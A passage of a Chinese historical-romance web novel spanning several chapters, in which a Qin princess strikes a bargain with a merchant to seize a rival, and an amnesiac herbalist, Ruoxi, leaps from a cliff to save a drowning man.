“拓跋泽...你......”闻此,陆天骄再次怒目着狠狠地瞪着拓跋泽的眼睛,顿时气的目瞪口呆。 拓跋泽果然翻脸不认人,竟与她谈钱。看来,和这个蛮夷之邦的一身铜臭味的商人果然无什么感情可言,亏她还差点儿把他当成了同病相怜的朋友。 可他说的也没错,西秦秦王要保的人,这天下又有几个人敢挑衅。但凡她昨夜里一夜未眠还能想起第二个人来,此时,她一定不会还傻傻在此遭人羞辱。 而眼前这个能有如此实力的人,想他所要的筹码,怕真未必是她所能负担的。 就在其正思索之际,门外忽然响起一女子霸气且颇有气场的声音来:“那不知我是否付的起这个筹码呢?” 拓跋泽正欲张口话还未出,忽见门被人从外面推了开来,继而便现出两名看似大户人家里调教出来的颇具礼数的谦卑婢女来,伸手掀开了厚厚的珠帘。 继而,只见从容不迫地缓缓迈步夺门而入一身着一袭淡紫色锦衣华服,神采奕奕的天仙来。 她冰肌玉骨、眉目如画,皓齿红唇,精致的一张小脸上两处甜甜的小酒窝,似要欲要将人都陷进去一般,眉心里还落着一颗罕见的红色美人痣,尽显灵气逼人,一颦一笑,顾盼生辉。 一时间里,拓跋泽竟怔望着那张天人面孔半张开嘴来,似是被钉住了一般,看呆了。 而一听到自己熟悉的不能再熟悉的声音忽然在耳畔响起,陆天骄亦顿时慌乱无措地站起身来朝其过去,怯怯地上前两步躬身行礼惊道:“姐姐,你怎么也来了?” 陆天骄驻足轻蔑地看了她一眼,却含笑隐忍着心间极大的愤怒道:“怎么,这城内新开张的大名鼎鼎的四海茶庄,你能来,本王妃就不能来?” “姐姐莫要误会,妹妹只是不知你是怎么出得来王府的呢?”陆天骄甚为不解地问。 “不是你昨儿个才对本王妃说过,本王妃贵为秦王府唯一的女主人,想去哪,便去哪,谁都拦不住嘛!怎么,这么快便忘记啦!如此看来,妹妹一觉醒来,记性变得似是差了不止许多呢!” 梅汐媛在隔壁里听到这一切,早已是满心不悦着,而被陆天骄此刻这一语,又使她想起自己方才出门竟还要跟一侍卫报备,便更是来气了。 然她终是吸了口气,还是很快地调整好情绪深看了陆天骄一眼,又不屑地瞟了一眼正愣坐在一旁对自己垂涎三尺的拓跋泽,再次注视回陆天骄的脸上轻描淡写地问道:“这位便是你所说的那个给你写家书的人?” 闻此,陆天骄忙抬起眼来怒目疑惑地朝向瓜子脸婢女看去,那瓜子脸婢女一对上陆天骄的眼睛,便顿时低低地垂首了下去,半晌都不敢再抬起半分来。 梅汐媛见了,叹了口气,沉声坚定说道:“不要看了,本王妃的人就是本王妃的人,无论你使什么手段在她们身上,亦是不可能俘获她的心分毫的。枉你还身为西秦学院陆贤的女儿,被誉为西秦国一大才女呢,所谓‘蛮夷之地,何来周正之人’,竟如此轻易地便相信了这个蛮人,上了他的当,奸商奸商,果然无奸不商。” 闻此,陆天骄顿时哑口无言地垂首安静了下来。 而此时,拓跋泽却正在一旁暗自心里沾沾自喜着。以他如今的身份,自是无法近身秦王府,然没想到他的一石二鸟之计,竟如此简单地便让这俩女子互相猜忌着纷纷自己走出了王府,寻到了他的面前来。 昨日,他出门本欲打算托人将书有自己新的落脚之地的信交给陆天骄,而当他走至半路的时候,忽然听到 第二百九十一章:筹码翻倍,我要活的 拓跋泽竟兀自过去在梅汐媛的对面坐了下来,幽幽道:“因为在下知道,秦王妃和陆大小姐一样,想要一个人永远消失,需要在下的帮忙。” 闻此,虽然神情依然不屑一顾,然终是心底丝丝缕缕的忧伤缓缓浮了上来,出卖了自己。竟忍不住端起茶盅来,轻抿了一口。 见此,拓跋泽亦总算是倒抽了口气,继而面色沉静地对其说道:“事已至此,我们大家就不妨都打开天窗说亮话吧!在下可以帮二位去桃花店村亲手解决了那个女人,而我要的筹码是…除了黄金一万两,在下还要西秦守护者的画像,听说它已经被宫里的人送到了秦王府。秦王妃是秦王唯一的枕边人,相信这个对于秦王妃来说…并不难吧!” 闻此,梅汐媛冷笑了一声,道:“你还真是狮子大开口啊!还说自己不是奸商!” “当然,秦王妃也可以另请高明,出了这个门,在下就当在此今日里的事从来都没有发生过,也从未见过秦王妃。”拓跋泽兀自说完这句话,自斟自饮下一盏酒。 梅汐媛犹豫了片刻,吐了口浊气后爽快道:“好吧,你的条件,本王妃都答应,这个筹码本王妃来付!不过,本王妃有个条件,黄金我可以再加一倍,但要你务必将那个女人抓活的回来见我。本王妃一定要亲自验明正身后你方才可对她动手,否则本王妃是一分一厘也不会支付给你的。” “好,那就这么决定了,和秦王妃谈买卖,果然痛快。不过,口说无凭,咱们还是立个字据吧!来人,准备笔墨纸砚。” 拓跋泽霎时心情大悦,奋笔疾书下契约字据一式两份后,又各自印上了俩人的手印。 拓跋泽将其中一份恭敬地递到梅汐媛面前,道:“来,这份是王妃您的,预祝咱们合作愉快!” 赵嬷嬷立刻上前替其收好,倒是也巧了,正好拓跋泽认得衣上云,否则梅汐媛和陆天骄还真怕他找错了人呢!那寻人告示上的女子画像遮了一条面纱,若不是以前熟识的人,任谁能认得出呢? 若不是再无他法,梅汐媛自是不屑与这种蛮夷之地的奸商合作。拒绝了拓跋泽的请客,一席人便被其亲自送出了茶庄大门,上了马车。 回王府的路上,陆天骄陪同梅汐媛共乘一车,陆天骄紧紧咬着嘴唇,欲言又止,欲言又止,几次三番后终是低下头去什么也没有说。 而梅汐媛则一上车便闭起了眼睛来看似在闭目养神,实则是在竭力压制着自己早已愤怒而又复杂极了的心情。 眼下,光这黄金两万两,便已几乎将她的一半陪嫁快要耗尽。幸亏母后当初想的周到,怕她独自在西秦会遇到诸多难处,所以做了极丰厚的准备。否则,怕是这次在那个蛮夷奸商 的面前就难逃自取其辱了。 而那个拓跋泽,他到底是什么人?竟有如此手段,还胆敢挑战那睥睨天下的灵空战神,秦王轩辕翰。他真的如此简单,只是个北烈国商人吗?而陆天骄她显然还不如自己了解拓跋泽的多,此刻,梅汐媛的心里纳闷极了。 原来,西秦守护者画像已经到了王府了,她又该如何才能找到它呢?父王也要那副画像,那到底是个怎样的谜呢? 因为俩人皆都心事重重着,不知不觉中,马车便已停在了秦王府庄严肃穆的大门前。 下了马车,不知是心虚还是因为坐车坐的太久了,陆天骄目无焦点地凝视着前方,脸上无限凄苦地一边走一边琢磨着,竟感觉这双腿仿佛已不是自己的一般。 赵嬷嬷扶着梅汐媛走在前面,她默默地紧跟其后,一迈步到韶华阁里,待梅汐媛刚一落座,便顿时回过神来上前去一脸歉然地欲对梅汐媛解释:“姐姐,我……” 岂料梅汐媛尽显一副疲惫地一手支着额头在身旁的案几上,缓缓伸出另一手来朝她无力地摆了摆,沉声道:“改天再说,你先下去吧。” 无奈,陆天骄只得黯然失神,默默地独自回到了燕栖阁里。 刚进屋,有一侍卫手里拿着一卷画轴叩门进来道:“陆小姐,这是程将军临行前特意交待属下转交给你的一幅画,说是你父亲给你的。” “我父亲,他来过王府?”陆天骄惊声问道。 “陆院长来的那晚,陆小姐并不在府里,因为是宫里送他过来给王爷送东西的。所以,只留下这副画便又匆匆回宫复命去了。”侍卫如实相告道。 “原来如此,我知道了,谢谢。” 闻此,侍卫正欲转身离去,陆天骄忽又开口问:“对了,请问秦王殿下何时回府?” “殿下的行踪,一向都只有程将军一人知晓,属下不知。” 侍卫离去,陆天骄方才走到书案边,缓缓将手里的画轴打开,深情地看着落在上面的每一根熟悉的线条。 从小到大,父亲每年过年的时候,都会凭着记忆帮她画一张自己的画像留念,十几年如一日,从未间断过。想起这一切,她不禁悄悄地拭起眼角的泪来。 看着看着,忽然似是发现了这张画里有些小小的异样似的,蹙眉纳闷地低声喃喃自言自语道:“今年的这副画像上的眉眼,怎么根本一点儿也不像是我,父亲这是怎么了?” 时间一点一点地流逝着,透过窗棂射入屋内书案上的光线渐渐倾斜,陆天骄的心,亦似是跟着那夕阳慢慢沉了下去。 而此时,骁龙会的后山上,峰峦叠嶂,林木联袂,郁郁苍苍,恰似一道拱卫其阵地的绿色屏障被披上了一袭金黄色轻纱一般,看起来甚暖。 山中山、水、林、泉、瀑、峡、花等景色一应俱全,更有亭楼飘涉于层峦翠柏之巅。 现下,正是满山的鸟语花香,唯漫山遍野的灿烂樱花开的最旺的季节。春风吹拂山野,一株株,一排排,白如霜雪,灿若云霞,朵朵轻飞如云,让人看了好不惬意! 此时,兰香和燕儿正挎着竹篮走在下山回去的路上,燕儿边走边惊讶地道:“兰香姐,没想到骁龙会这小小后山中,竟约摸生有一百多种山茶花呢,真是令人惊讶!” 因为整座后山山脚下各处均有人牢牢把守着,山中也遍布隐藏着的守卫,所以并无需另外派人时时刻刻跟踪她们。 然兰香却似是根本没有听她所言,兀自嘴里叼着一根青草,满副入神地若有所思的样子。 燕儿见了有些纳闷,努了努嘴,再次试探着饶有兴致地道:“方才山上的那个石龙窟,长宽皆足有一丈之阔,洞窟里刻的那一躯石龙,虽无龙角,然看似身躯尤为矫健,昂视长天,前二爪向上急攀岩顶,后爪攫地,势欲凌空。那雕刻的刀法粗犷、线条苍劲。布局构图精巧,雕刻手法或浅浮雕,或深浮雕,或镂空,奇妙无穷。” 刚一说完,便又探了一眼兰香脸上的表情,岂料兰香竟还是无动于衷着。 这次燕儿是真的生气了,她当即忿忿地两手叉于腰间,驻足停了下来,然兰香却独自依旧继续着脚下的动作,兀自走出了很远,亦没有发觉燕儿早已经掉队了。 于是,燕儿在其身后无奈又抓狂地使劲跺起了脚来,扬声怒气冲冲地道:“兰香姐,这几日里你到底在想什么嘛,你可不可以不要只憋在自己心里将它说出来呢,不要让燕儿永远都像个傻子一样不知道你整日里在打算些什么好不好?” 这时,兰香方才忽地回过神来发现燕儿并没有跟上来,便猛地回头寻声搜索而去。继而一脸歉然地踱步回到燕儿的身旁,含笑盯視了她许久,缓缓拉起她的手来,一边继续走一边道:“燕儿,我告诉过你,这是我自己的事。我是不想拖累你,也不想你为我担心,所以才不告诉你的。你能陪在我身边,我已经很感激了。” 然燕儿依旧努着嘴一脸的不高兴,想走不想走地拖拽着兰香的手,心疼道:“可你这整天茶不思饭不想,坐卧不安,魂不守舍的样子,燕儿看着都难受,燕儿怕你若是再这样下去,一定会生病的呢!” “好燕儿,不要怕,此生大仇未报,我是不会这么轻易便死去的!”兰香挽着燕儿的胳膊一边走,一边对其信誓旦旦道。 闻此,不知为何,燕儿却忽然再次驻足停了下来,一脸黯然神伤地愣在了原地里一动不动,兰香遂不解地忙问她:“你又怎么了?” 燕儿瞬间黯然道:“曾经,我家小姐也是像你方才那样,唤我‘好燕儿’的,可是现在她却...小姐……” 原来如此,兰香亦是瞬间心里一阵刺痛,咬了咬嘴唇,将燕儿的脑袋轻轻靠在自己的肩上,一边轻抚着她,一边安慰已然落泪起来的燕儿道:“燕儿不要哭,你家小姐一定会回来的,一定会的。” 话音刚落,忽然一阵嘈杂声从附近隐隐约约地传入到俩人的耳朵里来。 于是,燕儿吸了吸鼻子,直起身子来惊问同样疑惑不解的兰香道:“兰香姐你听,是什么声音……” (本章完) 第二百九十二章:绿水青山间,突现跳水皇后 兰香话音刚落,忽然一阵嘈杂声从附近隐隐约约地传入到俩人的耳朵里来。 燕儿吸了吸鼻子,直起身子来惊问同样疑惑不解的兰香道:“兰香姐你听,是什么声音……” 在此已有多日,兰香很容易便已经与几个巡山的混的颇为熟络了。 知道骁龙会及其后山的位置极其偏僻,几乎与世隔绝,甚少有人问津。向来都只有骁龙会的人进进出出,且一向太平,从来都不曾出现过什么外人和大事。 所以大家都很佩服,俩个大姑娘竟能有如此勇气和胆量只身来到这里,更有人笑称她俩简直就是女中豪杰,拼命俩姊妹,能如此当众辱骂他们当家的人,也再无他人了。 那么此时,这里究竟发生了什么呢?...难道是她们的援兵到了不成。一念至此,兰香忙一把拉起燕儿的手便疾跑着寻声而去:“走,去看看!” 骁龙会后面的这座山其实并不是很高,全年平均海拔也就一百丈稍多点儿的样子。 很快,俩人便一口气气喘吁吁地疾跑下到了距离快到山底约摸还有十二、三丈高度的一面山坡上,发出那片嘈杂之声的源头来。 原来,是方才与她二人一起上山来巡山的那几个骁龙会手下。他们三、五个人正拥堵在这面山坡边的一悬崖峭壁边上,时而朝下瞅瞅,时而看似又好像还互相指指点点,七嘴八舌地争辩着些什么。 “你干嘛要吓唬他,这下好了,竟把他给逼落湖里了,这么高,一定活不成了!” “这你怎么能怪我呢?不是你说要发点小财的嘛,我这才想着吓唬吓唬他,好让他交出身上的贵重物品来嘛!” “唉,一个大男人,他的胆子未必也太小了点吧。” “哎,算了算了,一个小贼而已,死了就死了,我们只要谁都不说出去,就与我们无关,相信应该就不会有事的。” “不对啊,我看他怎么好像身体有些不适的样子,满头虚汗着,脸色也很苍白,好像只是想在山里找些药草而已,并不像是贼呢。你看地上那些被折断的一把蒲公草,他应该是被什么毒虫之类的给蛰伤了!” “看他那寒酸的样子,也不像是什么有钱人。这下可好了,真是偷鸡不成蚀把米,这要是被老大知道我们逼死人了,那我们可就吃不了兜着走了!” “这可怎么办才好呢?” 忽然,其中一人似是突然有了主意,急忙说道:“有人会跳水吗?这样也许他还有的救!” 闻此,其他所有人一起唉声叹气的摇摇头…… “喂,你们几个嘀嘀咕咕地在说什么呢?什么跳水?什么有的救?谁落水了?”兰香不知不觉间悄悄地踱着碎步,向着其中正默默沉思着的一人身后探了过去,猛地 一把拍在了那人的后背上,问道。 那人顿时被吓得惊跳起脚来,然回头见是兰香和燕儿俩个女子,便没一丝好气地直冲着她大声怒斥道:“你们俩怎么来了,人吓人,吓死人的知不知道?” 然兰香却似是一点儿也没被其吓到半分,只有身后的燕儿被吓得心里顿时咯噔惊了一下,忙快步上前怯怯地紧紧避在了兰香的身后。 兰香兀自白了那人一眼,极不耐烦地追问道:“‘不做亏心事,怕什么鬼敲门’,是你姑奶奶我。废话少说,到底发生什么事了?” 见到几个人不约而同地目光飘忽不定躲闪起来,又见山坡边上落着一大把药草,兰香忙从人群中冲了出去立到山坡边悬崖上朝下一看瞬间瞪大了眼睛,猛地回过头来朝向身后众人冷声质问道:“是你们把他推下悬崖的?” “不是我们推的…是他自己不小心脚下一滑,才落入山脚下的湖水里的。”人群中,有一人怯怯地探出半个脑袋来辩解道。 闻此,兰香顿时朝那几个人高马大的汉子怒声吼道:“鬼才相信你们的话呢!你们一个,俩个,三个……都还愣在这里做什么?还不赶快跳下去救人?” “我们都不习水性,救不了……”又有另一人探出来低声无奈地道,话未说完,头却早已缩了回去躲到别人身后垂的似是不能再低。 “废物,真是废物,唉……”兰香情急之下,一边气恼地谩骂着,一边便摩拳擦掌,跃跃欲试地竟欲想要亲自跳水去救人。 “你要做什么?不要啊!”见此,所有人包括燕儿皆都异口同声地大声阻止其道。 兰香心里着实也是没底的,虽说生在南方的她,还是熟悉水性的,可眼下乃是十丈有余的高度,她又怎会不知危险重重呢! 闻声,她顿时停了下来,燕儿一脸担忧道:“兰香姐,那道悬崖看起来足足不下十丈呢,其所产生的巨大的冲击力,稍有不慎,你便就很可能会头骨碎裂,当场丧命,你可不能跳啊!” 就在这时,燕儿灵机一动,大声朝着山下疾呼起来:“救命啊,救命啊,有人落水了,有人落水了!” “你这是做什么?”兰香怔看着燕儿莫名的举动,不解地问。 燕儿解释道:“我们就这样朝着山下大声地喊,山下一定会有骁龙会的其他人在的,他们听到我们的呼救声,一定会从山下附近比我们更快赶出来救他。快来,大家一起喊,快来呀!” 燕儿说的似是有几分道理,于是,兰香当即催促着命令众人道:“都还愣着干嘛,快来一起呐喊救人啊!” 岂料这时却有人炸出一句:“今日负责巡山的人就我们几个,都在这儿了。况且,那湖对面的另一座山,并不是骁龙会 的领地,所以无人驻守。” 闻此,兰香惊异地瞪着那人狠狠道:“啊?你们不是说这方圆百里都是你们骁龙会的领地吗?此刻,又为何这样说?…喔,我知道了,你们一定是怕被别人知道你们逼死人了的事情,将这消息禀告给你们那尚还良心未抿的帮主,治你们的罪,对不对?” 闻此,那人忽然似是有些怯怕的表情浮现了出来,又解释道:“随你怎么说,怎么想,可那的确是我们骁龙会无人敢接近的一片禁地,因为那基本上就是一荒山绝地,且满山的瘴气。” 看到兰香越来越质疑的脸,那人吸了口气,继续道:“那个山岭差不多是纯石叠成,一无树木,雨淋日炙,湿热重蒸,加以毒蛇、毒物的痰涎、矢粪,洒布其间,所以那山里的河流溪水不是绿的,就是红的,或是腥秽逼人的。眼下已是春日,慢慢变暖和了,瘴气便更重。不信你看看,是不是就连远方湖面上的那片天空里,亦是到处都黑沉沉的被烟雾缭绕着,飘散着尽是阴森恐怖的巨毒气息。” 当那人有些狗咬吕洞宾,不识好人心的感觉说出这番话来的时候,兰香和燕儿将信将疑地顿时望向了远方天空中厚厚的一层看似诡异极了的烟雾,瞬间惊呆了,就连周围其他人亦都沉默着怔望起远方,一脸的畏惧之色。 而此时,众人正绝望地眼看着那落水的男子就要顺着水流的方向渐渐飘到那片满是瘴气的天空下去时,忽然,从他们身旁忽地一闪,便闪过一个单薄的身影来,似是一阵风经过一般,来不及让人看清楚其正面样貌,便直朝着那悬崖边毫不犹豫地一个大跨步,跳了下去。 只留下她手中的竹篮里满满的一篮子药草顿时掉在地上,散落了一地,还有那随手摘下被甩落在地上的黑色长帷帽。 众人皆震惊地上前到悬崖边上,跟随其背影望了过去。 只见于绿水青山的环绕之间,一身着一袭粉嫩色长裙,一头乌黑亮丽的长发飘飘女子,似是从天而降,落入凡尘的仙子一般,在半空中划过一道完美的弧度之后,便一头扎进了山脚下的那池湖水之中,且不偏不倚刚好落在了那个男子的身边附近。 就在所有人一时间里都似是还未反应过来到底发生了什么,只摒住呼吸注视着那平静的湖面上,不知那女子究竟是会生还是会死之际,湖面上突又冒出一人影来,并开始缓缓拨动身旁的湖水,向着那落水男子身边游去。 见此,顿时所有人都开怀大叫了起来,有人兴奋难耐地在一旁忍不住惊叫道:“这女子莫非是在山里修炼的仙人吗?真是太厉害了,我从来都没听说过,这世上有人跳水竟能跳到十余丈多高的。她简直就是跳水皇后啊,真是奇 迹,奇迹啊!” 继而,众人只见她很快三两下便游到了那落水男子身旁,将其艰难地往湖岸上一步步拖了去。 这时,一旁还在观望的众人身后又似是一溜烟一般地窜出另一个一袭黑衣,墨发全束,神情冷峻,腰间佩剑的男子身影,亦同样飞身而出,坚定地一步跨下了悬崖,落入那一池湖水之中,帮女子一起将那落水男子拖上了岸去。 “是他!”望着那似是有些熟悉的背影,兰香稍作回忆后喃喃自语地惊了一声。 “兰香姐,那人你认得?”一旁已然惊讶连连的燕儿看到兰香一副若有所思的样子,轻声地问。 然兰香却并没有回答她的疑惑,只一回过神来便兀自一把拉起她的手朝山下奔去。 岂料刚迈开来两三步,兰香又驻足停了下来眼睛一愣,似是突然间想起了什么。之后又扭头疾奔回去,将地上那粉衣女子方才丢下的药草和帷帽捡了起来,这才又回来拉起燕儿的手,继续下了山去。 只留下身后那几个家伙,一脸茫然地看看俩个女子离去的背影,又看看湖岸上的三人,再彼此之间互相面面相觑着…… (本章完) 顶点 第二百九十三章:落水狗不能白当 湖岸边,落水男子被人从水中救起之后心跳已然停止,于是俩人对其又是倒水,又是口对口吹气,又是轮流上阵对其进行了胸外心脏的按压抢救…… 好一番折腾,然此时落水男子却依然仰面平躺着,一动也不动。身旁蹲身着的俩个救他上岸的一男一女,甚是疑惑。 其中那名冷峻男子一手扶起落水男子的头部来,另一手轻拍着他的脸,声声急呼其道“喂,醒醒,醒醒……” 半晌后,落水男子终于手指微微动了动,然却并未睁开眼来。 粉衣女子见了,忙伸出手去替其仔细把脉。片刻后,似是终于松了口气对那冷峻男子解释说道:“怪不得这么久了还不醒,原来他本身就患有胆部恶疾,刚大病初愈,又从十丈高的悬崖上落入水中,能活着,已经是个奇迹了。” “姑娘会医术?那该怎么办?他还能救吗?”冷峻男子急切地连连问道。 女子笑着安慰其幽幽道:“放心吧,他不会有事的。他只不过是身子太过虚弱,又如此长途跋涉,所以一时半会儿还醒不过来。只要找个地方悉心调养,好好休息一会儿就能醒过来,等会儿待他苏醒后,立刻给他喝些姜糖水或者浓茶之类的……” 未及其將话说完,那冷峻男子一边仔细聆听着那颇为认真又温柔似水的声音,一边无意间抬起头来瞟了一眼那女子的脸,顿时惊异地扬声叫道:“若曦姑娘,你的脸……” 闻此,女子这才反应过来,方才在山中正准备下山,忽然听到前方一伙人正在议论有人坠崖落水,却无人敢跳水救人的事,一时间里救人心切,情急之下便随手便将黑色帷帽摘卸掉了。此时虽说底下还有层纯白面纱做遮掩,但一遇到水,怕是什么都现出来了。于是一反应过来,忙一把慌乱地紧紧捂了脸道:“我的脸…啊,对不起!” 霎时间,俩人皆都各有所思着一起沉默了下来。 稍时,那不苟言笑的冷峻男子终是先开口打破了平静,说道:“若曦姑娘,你的衣裳都已经全部湿透了,这天看着也快就要黑了,山里空气寒冷,你还是先赶紧回去重新换套干爽的衣裳吧,小心别着凉了,这里就都交给我吧,我一定将他带回去照顾好!” 闻此,女子方才审视了自己早已是浑身湿漉漉的周身一遍,兀自想了想,道:“也好,既然如此,那就有劳你了。我先回去给他准备些对症的汤药,不过,我方才所采集的药草全部都落在山里了,所以得再回去重新采些来,到时候配好了药我再亲自给你送过去,可好?” “好是好,可眼看着天就要黑了,你一个人上山怎么行呢?”冷峻男子蹙眉忧心道。 女子抿了抿嘴,抬起头来望了一眼 另一头的山路上,即刻一脸欣喜地道:“你就放心吧,我不会有事的,你看……” 顺着女子所目及过去的方向,冷峻男子看到远处刚刚从山路上飞奔下来的两名骁龙会守卫,此时正朝着二人的方向急奔过来。 “看到了吧,他们俩个可是龙帮主最强的手下…好了,不要担心我了,你还是快点带他先回去吧,这里的风着实也越来越凉了,莫要让他再染了风寒,那可就糟了。”这时,女子当即开口催促道。 闻此,冷峻男子似是才安心下来许多,随即便立刻背起那落水男子起身来踏上了附近架在湖面上的一座悬索桥,兀自直朝着骁龙会方向疾步回了去。 女子起身来,直到看着冷峻男子安全地渡过了那通往骁龙会的悬索桥之后,方才抬头看了看天色,已是夜幕将至,她也该要赶快行动了。于是,便疾步朝着俩守卫所在的方向过去与其汇合。 那俩名守卫见女子在他们前面好好地走着走着,突然急奔过去跳落悬崖,吓得几乎差点儿魂飞魄散,猛地心突突突地直跳,像是都快要跳出来一般,想都来不及想,拔腿便往山下快跑。 此时,一见女子似是安然无恙地立在他俩面前,终于面面相觑着深深地松了口气。 然心里似是还仍有些后怕着,于是其中一名年轻点儿的守卫双手叉腰,直气喘吁吁地又惊讶又埋怨着道:“若曦姑娘,你…你…你…你可真是吓死小的们了,你怎么能从十余丈那么高的断崖处往下跳呢?你可知道那是有多危险吗?那可是就连我二人亦是万万做不到的啊!你可知道,你这若是少了半根汗毛,我们俩可就吃不了兜着走了。没准儿,帮主若是怪罪下来,咱们便是连命都会没了的呀!” 然女子闻此,似是根本就一点儿也不担心,因为她知道这是自己一定能够做到的事情,虽然她失忆了并不知道为什么。 于是,她顿时十指交叉着双手负后,轻轻踮起脚尖来,冲着那二人微微一笑,脸上遮着的那条早已被山风吹干了的轻盈白纱下,嘴角隐隐约约的咧出一道极好看的弧度来,瞬间熄灭了二人心中所有的怨气与激动。 接着,她又缓缓上前了两步去,从二人站立的位置中间所让出的一条狭窄却足以能够使她轻轻松松便通过的缝隙里一边穿过去,一边仍纯良无害地轻笑着伸出两只纤纤玉手来将其搭在二人的肩头,温柔地道:“放心吧,下次跳之前,我一定会先告诉你们一声,好让你们有所准备的。” 那二人早已被眼前瞬间温顺了下来宛若小猫一般的娇小女子迷的如痴如醉,待其忽一缓过神来,猛地回头大声朝其背影惊声道:“什么?还有下一次?” “若曦姑娘,若曦姑娘 ,这天已经黑了,你还想去哪儿啊,我们快回去吧,要是再不回去,我俩今日可就没饭吃了呢…若曦姑娘,你等等,等等我们呀!” 一见女子只丢下一句让俩人好不容易安放下去而此时又重新再次高悬起来的话之后,无论他们做什么亦或说什么,她始终都头再也不回地一直朝前走去,而并没有上到悬索桥回骁龙会唯一的路上,俩人便忙又再次无奈地互相叹了口气,一边朝其背影呼唤着,一边加快脚步追了上去。 没走出多远,看到路边一向阳处竟长着几株白色花冠的益母草,女子便好奇地顺手将其衔来一株一边走,一边方才对身后追上来的俩人解释道:“救人要紧,当时我哪儿顾得了那么多呢!大不了下次我先告诉你们一声咯。对了,你们知道有何捷径可以很快到达方才我跳水的地方吗?得将我采的那些药草赶紧找回来才行,这好不容易将那人从死神手里救起,若是没有那些药草,也是白搭了啊!” 此时,早已明白过来自己原是被其方才善良的外表所蒙骗的俩个守卫,双手环胸着面无表情地只冷冷紧跟于其身后,任其无论在前面说什么,做什么,都不再做声出来。 女子没有得到原本应有的回应,立刻顿足疑惑地扭头转过了身去,然一看见俩人阴沉的脸,整个人顿时便愣住了。 怔愣了片刻后,转瞬则又扬起一脸灿烂笑容来近身过去,双手抱拳,嬉皮笑脸着撒娇一般地对其乞求道:“呵呵呵...俩位大哥就请行行好,看看我这一身的狼狈样,你们总不能眼睁睁地看着让我今日白白当了一回落水狗吧!” 一边说着,女子还捉起衣袖来放到鼻翼边闻了闻,故作出一副似是很难接受此异味的表情来扇了扇风。 这时,岂料其中另一名看似有些年长的守卫竟忽然一边朝她冷哼着,一边似是极为轻蔑地白了她一眼,莫名其妙地问她:“你手里拿的是什么?” 虽然有些甚为不解,这个人为何会突然有此一问,然她仍是极认真地将手里捏着的益母草半举起,回道:“这是益母草啊,它可是历代医家用来治疗妇科疾病的要药哇。好神奇啊,这里竟然会长着几株白色花冠的益母草,一般花冠都是粉红至淡紫红色的居多……” 谈起药草来,她总是能一脸欣喜,如此这般饶有兴致,滔滔不绝,又乐在其中。 而那守卫听了却冷哼一声:道:“幸好你还认得它是益母草,那你又可知益母草便象征着母爱。有道是‘身体发肤,受之父母,不敢毁伤,孝之始也。立身行道,扬名于后世,以显父母,孝之终也’。纵使你如今默默无闻,也不能整日里如此这般冒冒失失地拼命呢,这样下去,若是哪天不小心 真的有个三长两短,那你的父母该有多伤心呢!难道‘白发人送黑发人’,你就是这样报答他们的生育之恩的?” 虽然自己尚还未弄清楚自己究竟是个怎样的人,有着怎样的家庭出身,是不是真的还有人惦记着她,但眼前这位大哥显然是真的关心她才会这样说的。 于是,她也就默默地垂首下去一边一圈又一圈地在手指上轻绕着自己的衣带,一边严肃地妥协说道:“大哥教训的是,是若曦莽撞了。” 半晌后,那年长的守卫忽然开口说道:“知道错了就赶快跟我走吧!” 女子顿时抬眼惊问:“去哪儿啊?” (本章完) 第二百九十四章:龙字金牌 半晌后,年长的守卫忽然开口说道:“知道错了就赶快跟我走吧!” 女子顿时抬眼朝其惊问道:“去哪儿啊?” 那守卫故作依旧一脸生气地淡淡撇了她一眼,兀自一边绕过她的身旁大步踏上了一条山间小路,一边扬声说道:“去你想去的地方,找你想找的东西,做你想做的事,救你想救的人,莫要让你今日这落水狗白当了!” 闻此,女子兴奋的顿时半举起双拳来,高兴地差点儿尖叫起来,紧接着便跑步上前飞快地追了上去。 而另一年轻的守卫尚还愣在原地里,摸着脑袋自言自语不解地苦道:“搞了半天,这不还是都随了她的意了嘛!看来,今晚铁定是又要饿肚子了...喂,你们俩个等等我呀!” 一边说着,肚子已然饿得开始咕噜咕噜叫的年轻守卫抱着肚子亦疾跑着跟了上去。 在年长守卫的带领下,沿着一条略微有些崎岖的捷径,果然很快便到了女子方才所跳落的有十几丈之高的山坡边的断崖处。然终究此时的天也还是黑了下来,俩名侍卫便燃起了火把来继续开始四周仔细地查找起来,岂料却早已是空空如也,什么都不复存在。 于是,年长守卫和女子无奈地聚在一起,女子双手叉腰叹了口气,纳闷极了地道:“咦,奇怪了,方才我的竹篮明明就是被我随手丢在这儿了啊,怎么会不见了呢?那里面可是有很多对大病初愈的人恢复体力极好的药材呢。” “该不会是方才负责今日巡山的副帮主的那几个手下故意使坏,将盛有药草的篮子扔下山了吧?”年轻的守卫在一旁的灌木丛里也仔仔细细地寻了好几遍,亦是毫无所获只得返回来重做打算,回来后咬牙切齿着猜忌道。 闻此,女子蹙起秀眉来不解地问:“副帮主与龙帮主一向不睦吗?若是这样的话,那俩人又该如何共同领导这偌大的骁龙会呢?” 年长守卫深深叹了口气,一边埋头下去尝试着继续再搜索一遍附近,一边道:“唉,其实一直以来,副帮主对龙帮主的命令,一向是表面一套,背后里又是另一套。对于这些,龙帮主倒也并不是完全不知情。只是很多时候,念在他也是为了骁龙会的利益,所以对他一再迁就,只施以小惩,并不曾重罚。可谁想他却总是屡教不改,如今已然离谱地一发不可收拾。” 就在这时,年长守卫似是忽然发现了什么,将火把靠近了过去,用手中的剑鞘拨开草丛一看,原来是一篮五颜六色的山茶花。想着一定是有人不甚掉落的,便准备等会儿走时候一起带走。 于是,‘鲜花配美人’他将其捡了起来递到女子手中,又继续一边搜寻一边道: “他的手下如今处处招摇生事,打家 劫舍,欺男霸女,无恶不作,这些还不止,竟还放任他的手下到处肆意宣扬骁龙会是旨在谋反朝廷的组织,这‘谋反’一词,是能到处对谁都乱说的吗?更何况,龙帮主他那怎么能称作是谋反呢?他本来就是...这样下去,怕是总有一天,骁龙会一定会惨遭朝廷诛杀,万劫不复的。” 年长守卫说着说着,似是发现自己说错了什么,便急急收了声,见女子幸好一直只对着竹篮里的山花茶发愣,似是并未注意到自己不甚所说出的话,便也长长地舒了口气。 “副帮主,他真的如此桀骜不驯?”女子听了这些令人极为想象不到,匪夷所思的话来,深感犹豫道。 